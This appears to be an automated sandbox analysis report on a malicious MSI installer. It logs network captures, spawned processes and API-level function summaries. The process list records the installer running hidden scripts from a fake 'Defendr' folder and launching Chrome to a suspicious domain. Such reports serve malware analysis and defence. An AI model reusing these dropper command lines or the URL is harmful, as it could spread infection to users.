2024-08-05 06:20:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: db6504e8-1758-465e-b4bd-666098ac1cc2 MS-RequestId: 6949c8f3-6002-4f18-9203-a0d3157a44d7 MS-CV: je/U/gKBKUGMPimG.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 05 Aug 2024 06:20:01 GMT Connection: close Content-Length: 30005
2024-08-05 06:20:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-08-05 06:20:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	53174	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:20:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 66 77 4b 6f 71 72 62 2f 45 79 2b 59 4e 61 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 63 38 37 34 31 30 37 32 66 35 33 32 32 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: nfwKoqrb/Ey+YNaP.1Context: 74c8741072f53228
2024-08-05 06:20:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:20:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 66 77 4b 6f 71 72 62 2f 45 79 2b 59 4e 61 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 63 38 37 34 31 30 37 32 66 35 33 32 32 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: nfwKoqrb/Ey+YNaP.2Context: 74c8741072f53228<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf72
2024-08-05 06:20:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 66 77 4b 6f 71 72 62 2f 45 79 2b 59 4e 61 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 63 38 37 34 31 30 37 32 66 35 33 32 32 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: nfwKoqrb/Ey+YNaP.3Context: 74c8741072f53228<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:20:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:20:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 37 79 4b 43 44 75 55 31 45 65 4f 32 54 66 2f 37 36 32 55 49 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: G7yKCDuU1EeO2Tf/762UIQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	53177	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-08-05 06:20:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 50 6e 78 51 70 58 39 7a 6b 4f 56 6f 43 4a 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 34 37 37 39 31 63 65 31 66 39 62 66 38 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: YPnxQpX9zkOVoCJj.1Context: a647791ce1f9bf88
2024-08-05 06:20:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-08-05 06:20:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 59 50 6e 78 51 70 58 39 7a 6b 4f 56 6f 43 4a 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 34 37 37 39 31 63 65 31 66 39 62 66 38 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 74 35 68 76 59 53 71 66 71 59 4a 4c 4a 6a 55 49 45 49 30 51 34 6e 64 44 7a 72 36 52 52 70 31 6e 35 4e 4f 50 39 69 46 62 79 75 42 48 42 39 44 61 53 4b 57 63 64 30 4e 6f 51 36 47 61 69 4a 6c 75 57 39 6b 4d 66 6a 57 70 65 30 52 6b 61 71 69 52 5a 42 4d 49 75 30 64 6e 51 4e 52 54 6f 42 6e 34 78 73 36 42 50 6f 35 37 42 66 37 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: YPnxQpX9zkOVoCJj.2Context: a647791ce1f9bf88<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASt5hvYSqfqYJLJjUIEI0Q4ndDzr6RRp1n5NOP9iFbyuBHB9DaSKWcd0NoQ6GaiJluW9kMfjWpe0RkaqiRZBMIu0dnQNRToBn4xs6BPo57Bf72
2024-08-05 06:20:53 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 50 6e 78 51 70 58 39 7a 6b 4f 56 6f 43 4a 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 34 37 37 39 31 63 65 31 66 39 62 66 38 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: YPnxQpX9zkOVoCJj.3Context: a647791ce1f9bf88<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-08-05 06:20:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-08-05 06:20:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 2b 38 31 2f 43 43 6c 70 45 61 39 38 49 64 54 41 48 39 4e 69 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: C+81/CClpEa98IdTAH9NiA.0Payload parsing failed.

Target ID:	0
Start time:	02:19:05
Start date:	05/08/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\APP-DANF0001S7D88002555555222S5S.msi"
Imagebase:	0x7ff746be0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:19:05
Start date:	05/08/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff746be0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:19:06
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 0BCE30386084D5994DA5F38735FD7120
Imagebase:	0xee0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\Installer\MSID537.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSID537.tmp" /DontWait "C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\
Imagebase:	0xb80000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\Installer\MSID558.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSID558.tmp" /HideWindow "C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\
Imagebase:	0xb40000
File size:	423'936 bytes
MD5 hash:	768B35409005592DE2333371C6253BC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\"
Imagebase:	0x7ff6723d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\"
Imagebase:	0x7ff6723d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:19:10
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:19:12
Start date:	05/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://senhordos-infects.digital/clientes/inspecionando.php
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:19:13
Start date:	05/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2020,i,7346093212192894915,17745381868885842246,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25%
Total number of Nodes:	344
Total number of Limit Nodes:	5

Executed Functions

Function 00B86EE0 Relevance: 46.0, APIs: 25, Strings: 1, Instructions: 519
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B85F90: GetCurrentProcess.KERNEL32(00000008,?,E5F50329), ref: 00B85FA0
Part of subcall function 00B85F90: OpenProcessToken.ADVAPI32(00000000), ref: 00B85FA7

CoInitialize.OLE32(00000000), ref: 00B86F55
CoCreateInstance.OLE32(00BCD310,00000000,00000004,00BDB320,00000000,?), ref: 00B86F85
CoUninitialize.OLE32 ref: 00B874F6
_com_issue_error.COMSUPP ref: 00B87524

Part of subcall function 00B81910: LocalFree.KERNEL32(?,E5F50329,?,00000000,00BC92C0,000000FF,?,?,00BE1348,00000000,00B816D0,80004005), ref: 00B8195C

Strings

$, xrefs: 00B87454

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Process$CreateCurrentFreeInitializeInstanceLocalOpenTokenUninitialize_com_issue_error
String ID: $
API String ID: 2507920217-3993045852
Opcode ID: 3921ebdf6d83d89896ff4ecfa9e86b6164c1ac5ee53a4e2c946cdd4404a678c7
Instruction ID: 1919dffe3359e330636bd2c1c0250cf6c34c5808386139462a79a80fb23abe00
Opcode Fuzzy Hash: 3921ebdf6d83d89896ff4ecfa9e86b6164c1ac5ee53a4e2c946cdd4404a678c7
Instruction Fuzzy Hash: AF227D70A08288DFEB11DFA8C948B9DBBF4EF55308F2481DDE405EB2A1DB759A45CB11

Function 00B85F90 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,E5F50329), ref: 00B85FA0
OpenProcessToken.ADVAPI32(00000000), ref: 00B85FA7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00B85FDC
CloseHandle.KERNEL32(?), ref: 00B85FF2

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: eb3434bd4395b872a4f4f5001bea2ef5c40d3771f894514681397f422cad8ae0
Instruction ID: 71b6b4133195e38b4f9d9aaef4c4dd6a77dbaddf2150c83aa080f023212608b8
Opcode Fuzzy Hash: eb3434bd4395b872a4f4f5001bea2ef5c40d3771f894514681397f422cad8ae0
Instruction Fuzzy Hash: A8F01274144301ABE7109F14EC45F9AB7E8FB48705F508829F984D2160D779D55DDB63

Function 00B91A20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(E5F50329,?,0000FFFF), ref: 00B91A4D

Part of subcall function 00B84EC0: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,00000000,00000000,?,?), ref: 00B84EDD

ExitProcess.KERNEL32 ref: 00B91C27

Part of subcall function 00B88790: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00B8880D

Strings

Full command line:, xrefs: 00B91A7E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: cef03da03ff77dcdaf1f56aa5fc194df716bcabab3a76751253cd20a1c2c3405
Instruction ID: d57312fd2775475d85b1ea324d194fa8b0a4b5fea529f590f7b7fb45971caa34
Opcode Fuzzy Hash: cef03da03ff77dcdaf1f56aa5fc194df716bcabab3a76751253cd20a1c2c3405
Instruction Fuzzy Hash: 155167358101299BCF25FB64C899BEEB7F5AF10300F5445E8E009672A2EF745F89DBA1

Function 00B87FD0 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00B87FA8,E5F50329), ref: 00B88044
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00B87FA8,E5F50329), ref: 00B8804E
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00B87FA8,E5F50329), ref: 00B880AA

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 262301cd990a3a1b96580b2a2640387a87776d692e28197c3a95fddcf93d1578
Instruction ID: fda5229e8bc3f5864044ee55f1b69369a5e82063db171c2721fd45f3e90fc0cd
Opcode Fuzzy Hash: 262301cd990a3a1b96580b2a2640387a87776d692e28197c3a95fddcf93d1578
Instruction Fuzzy Hash: 88316F71A002059FDB20DF99CC85BAFFBF9FB44710F60456DE515A7290DBB5A904CBA0

Function 00BBC72B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00BBAFDA,00000001,00000364,?,00000006,000000FF,?,00BAC282,?,?,?), ref: 00BBC76C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 70243b89bad448102aa2755b9db8e4d1e8fbd5cf5f3ba779d1f72f0bd1e711cc
Instruction ID: 4c5c8038aa1843b3fc157fa67d7e00e996a5484c92e144afadf4126681658e01
Opcode Fuzzy Hash: 70243b89bad448102aa2755b9db8e4d1e8fbd5cf5f3ba779d1f72f0bd1e711cc
Instruction Fuzzy Hash: FEF0B4315412246BEB229A679C85AFB3FC8DB52770B2441E2AD04E7180DFA0DC01CAE1

Non-executed Functions

